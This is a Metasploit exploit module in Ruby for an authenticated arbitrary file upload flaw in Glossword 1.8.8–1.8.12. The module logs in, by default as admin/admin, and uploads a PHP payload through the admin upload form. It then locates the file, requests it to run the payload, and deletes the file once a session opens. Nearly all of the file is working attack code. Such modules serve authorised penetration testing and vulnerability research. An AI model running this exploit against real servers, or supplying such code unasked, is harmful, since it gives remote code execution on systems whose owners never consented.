##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability",
      'Description'    => %q{
        This module exploits a file upload vulnerability in Glossword
        versions 1.8.8 to 1.8.12 when run as a standalone application.
        This application has an upload feature that allows an authenticated user
        with administrator roles to upload arbitrary files to the 'gw_temp/a/'
        directory.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'AkaStep', # Discovery
          'Brendan Coles <bcoles[at]gmail.com>' # metasploit exploit
        ],
      'References'     =>
        [
          [ 'EDB',  '24456' ],
          [ 'OSVDB' '89960' ]
        ],
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Automatic Targeting', { 'auto' => true }]],
      'Privileged'     => true,
      'DisclosureDate' => "Feb 05 2013",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']),
        OptString.new('USERNAME',  [true, 'The username for Glossword', 'admin']),
        OptString.new('PASSWORD',  [true, 'The password for Glossword', 'admin'])
      ], self.class)
  end

  def check

    base  = target_uri.path
    peer  = "#{rhost}:#{rport}"
    user  = datastore['USERNAME']
    pass  = datastore['PASSWORD']

    # login
    print_status("#{peer} - Authenticating as user '#{user}'")
    begin
      res = login(base, user, pass)
      if res
        if res.code == 200
          print_error("#{peer} - Authentication failed")
          return Exploit::CheckCode::Unknown
        elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
          print_good("#{peer} - Authenticated successfully")
          return Exploit::CheckCode::Appears
        end
      end
      return Exploit::CheckCode::Safe
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("#{peer} - Connection failed")
    end
    return Exploit::CheckCode::Unknown

  end

  def on_new_session(client)
    if client.type == "meterpreter"
      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
      client.fs.file.rm("#{@fname}")
    else
      client.shell_command_token("rm #{@fname}")
    end
  end

  def upload(base, sid, fname, file)

    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    data = Rex::MIME::Message.new
    data.add_part(file,       'application/x-php', nil, "form-data; name=\"file_location\"; filename=\"#{fname}\"")
    data.add_part("edit-own", nil, nil, 'form-data; name="a"')
    data.add_part("users",    nil, nil, 'form-data; name="t"')
    data.add_part("Save",     nil, nil, 'form-data; name="post"')
    data.add_part("#{sid}",   nil, nil, 'form-data; name="sid"')
    data.add_part("#{user}",  nil, nil, 'form-data; name="arPost[login]"')
    data.add_part("#{pass}",  nil, nil, 'form-data; name="arPost[pass_new]"')
    data.add_part("#{pass}",  nil, nil, 'form-data; name="arPost[pass_confirm]"')

    data_post = data.to_s
    data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(base, 'gw_admin.php'),
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => data_post,
    })

    return res
  end

  def login(base, user, pass)

    res   = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(base, 'gw_login.php'),
      'data'   => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter"
    })
    return res

  end

  def exploit

    base  = target_uri.path
    @peer = "#{rhost}:#{rport}"
    @fname= rand_text_alphanumeric(rand(10)+6) + '.php'
    user  = datastore['USERNAME']
    pass  = datastore['PASSWORD']

    # login; get session id and token
    print_status("#{@peer} - Authenticating as user '#{user}'")
    res = login(base, user, pass)
    if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
      token = "#{$1}"
      sid   = "#{$2}"
      print_good("#{@peer} - Authenticated successfully")
    else
      fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
    end

    # upload PHP payload
    print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
    php = %Q|<?php #{payload.encoded} ?>|
    begin
      res = upload(base, sid, @fname, php)
      if res and res.code == 301 and res['location'] =~ /Setting saved/
        print_good("#{@peer} - File uploaded successfully")
      else
        fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
    end

    # retrieve PHP file path
    print_status("#{@peer} - Locating PHP payload file")
    begin
      res   = send_request_cgi({
        'method' => 'GET',
        'uri'    => normalize_uri(base, 'gw_admin.php?a=edit-own&t=users'),
        'cookie' => "sid#{token}=#{sid}"
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
    end
    if res and res.code == 200 and res.body =~ /<img width="" height="" src="([^"]+)"/
      shell_uri = "#{$1}"
      @fname    = shell_uri.match('(\d+_[a-zA-Z\d]+\.php)')
      print_good("#{@peer} - Found payload file path (#{shell_uri})")
    else
      fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Failed to find PHP payload file path")
    end

    # retrieve and execute PHP payload
    print_status("#{@peer} - Executing payload (#{shell_uri})")
    begin
      send_request_cgi({
        'method' => 'GET',
        'uri'    => normalize_uri(base, shell_uri),
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
    end
    if !res or res.code != 200
      fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Executing payload failed")
    end
  end
end